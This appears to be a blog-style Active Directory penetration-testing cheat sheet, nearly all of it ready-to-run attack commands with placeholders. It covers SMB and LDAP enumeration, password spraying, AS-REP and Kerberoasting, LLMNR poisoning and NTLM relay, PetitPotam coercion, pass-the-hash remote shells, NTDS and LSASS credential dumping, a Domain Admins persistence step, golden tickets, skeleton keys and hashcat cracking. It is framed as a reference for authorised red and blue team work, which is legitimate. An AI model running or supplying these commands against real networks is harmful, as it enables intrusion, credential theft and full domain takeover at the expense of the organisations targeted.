Active Directory Cheat Sheet for 2025 – Essential Commands, Tips & Tools for SysAdmins & Security Pros
A complete Active Directory (AD) cheat sheet covering user management, enumeration, PowerShell, LDAP queries, and security tools. Ideal for red teamers, blue teamers, and IT admins in 2025
2025-06-11 07:34:42 - xone
Scan Network & Initial Enumeration
This section covers initial network scanning to identify live hosts, open ports, and running services, with a focus on SMB.
Enumerate SMB hosts on a network range.
cme smb <target_range>
Ping scan to discover live hosts.
nmap -sP <target_range>
Quick scan for the top 50 ports on a specific host.
nmap -PN -sV --top-ports 50 --open <target_ip>
Search for common SMB vulnerabilities.
nmap -PN --script smb-vuln* -p139,445 <target_ip>
A classic, comprehensive scan for services and scripts.
nmap -PN -sC -sV <target_ip>
A full TCP port scan with service and script detection.
nmap -PN -sC -sV -p- <target_ip>
Scan for open UDP ports and services.
nmap -sU -sC -sV <target_ip>
Active Directory (AD) Discovery
Once you've identified potential targets, the next step is to enumerate Active Directory to understand the domain structure and find users.
Show network info, including the domain and DNS servers.
nmcli dev show <interface>
Find the domain controllers using a DNS query.
nslookup -type=SRV _ldap._tcp.dc._msdcs.<DOMAIN>
Attempt a DNS zone transfer to get all DNS records.
dig axfr @<dns_server> <domain>
Enumerate shares and users with a null session.
enum4linux -a -u "" -p "" <target_ip>
List SMB shares with guest access.
smbmap -u "guest" -p "" -P 445 -H <target_ip>
Enumerate domain users via an anonymous session.
cme smb <target_ip> -u '' -p '' --users
Enumerate LDAP information without brute-forcing.
nmap -n -sV --script "ldap* and not brute" -p 389 <target_ip>
Perform a basic search of the LDAP directory.
ldapsearch -x -h <target_ip> -s base
Gaining a Foothold: Common Attacks
This section details common attack vectors to gain initial access to a user account or system.
Password Spraying
Get the domain password policy.
cme smb <target_ip> -u '<user>' -p '<pass>' --pass-pol
Spray a list of passwords against a user list.
cme smb -u user.txt -p password.txt <target_ip>
AS-REP Roasting
Get crackable password hashes for users with Kerberos pre-authentication disabled.
GetNPUsers.py <domain>/ -usersfile <user_list> -format hashcat
BloodHound query to find AS-REP roastable users.
MATCH (u:User {dontreqpreauth:true})
Relaying and Poisoning
Find hosts that do not require SMB signing.
nmap --script smb-security-mode -p445 <target_range>
Poison LLMNR/NBT-NS to capture hashes.
responder -I <interface>
Relay captured credentials to other machines.
ntlmrelayx.py -tf targets.txt -socks -smb2support
Perform an IPv6 DNS takeover attack.
mitm6 -d <domain>
Coerce authentication from a machine for NTLM relay attacks.
PetitPotam.py -d <domain> <attacker_ip> <target_ip>
Post-Exploitation & Lateral Movement
Once you have credentials, these commands help you move through the network and escalate privileges.
With Valid Credentials
Get a list of all domain users.
GetADUsers.py -all -dc-ip <dc_ip> <domain>/<user>:<pass>
Enumerate accessible SMB shares with the user's credentials.
cme smb <target_ip> -u <user> -p <pass> --shares
Run the BloodHound collector to map the domain.
bloodhound-python -d <domain> -u <user> -p <pass> -gc <dc_ip> -c all
Kerberoasting
Get crackable hashes for service accounts.
GetUserSPNs.py -request -dc-ip <dc_ip> <domain>/<user>:<pass>
BloodHound query to find kerberoastable users.
MATCH (u:User {hasspn:true})
Pass the Hash / Key
Execute commands remotely using a user's NTLM hash.
psexec.py -hashes ':<nt_hash>' <user>@<target_ip>
Execute commands remotely via WMI with a hash.
wmiexec.py -hashes ':<nt_hash>' <user>@<target_ip>
Open an interactive remote shell using a hash.
evil-winrm -i <target_ip> -u <user> -H <nt_hash>
Execute commands using a Kerberos ticket (Pass the Key).
psexec.py <domain>/<user>@<target_ip> -k -no-pass
Domain Dominance
Techniques to achieve full control over the Active Directory domain.
Credential Dumping
Dump all domain hashes from the NTDS.dit file on a Domain Controller.
secretsdump.py <domain>/<user>:<pass>@<dc_ip>
Dump the LSASS process memory to extract cleartext passwords.
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Parse the LSASS dump file to reveal credentials.
mimikatz "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"
Remotely dump LSASS using CrackMapExec.
cme smb <target_ip> -u <user> -p <pass> -M lsassy
Persistence
Add a user to the Domain Admins group.
net group "domain admins" <user> /add /domain
Golden Ticket
Create a golden ticket to impersonate any user.
ticketer.py -nthash <krbtgt_hash> -domain-sid <sid> -domain <domain> <user>
Skeleton Key
Inject a skeleton key into LSASS, allowing a master password for all users.
mimikatz "privilege::debug" "misc::skeleton"
Hash Cracking
LM
hashcat -m 3000 -a 3 hash.txt
NTLM
hashcat -m 1000 -a 3 hash.txt
NTLMv2
hashcat -m 5600 -a 0 hash.txt rockyou.txt
Kerberos 5 TGS
hashcat -m 13100 -a 0 spn.txt rockyou.txt
Kerberos AS-REP
hashcat -m 18200 -a 0 hashes.txt rockyou.txt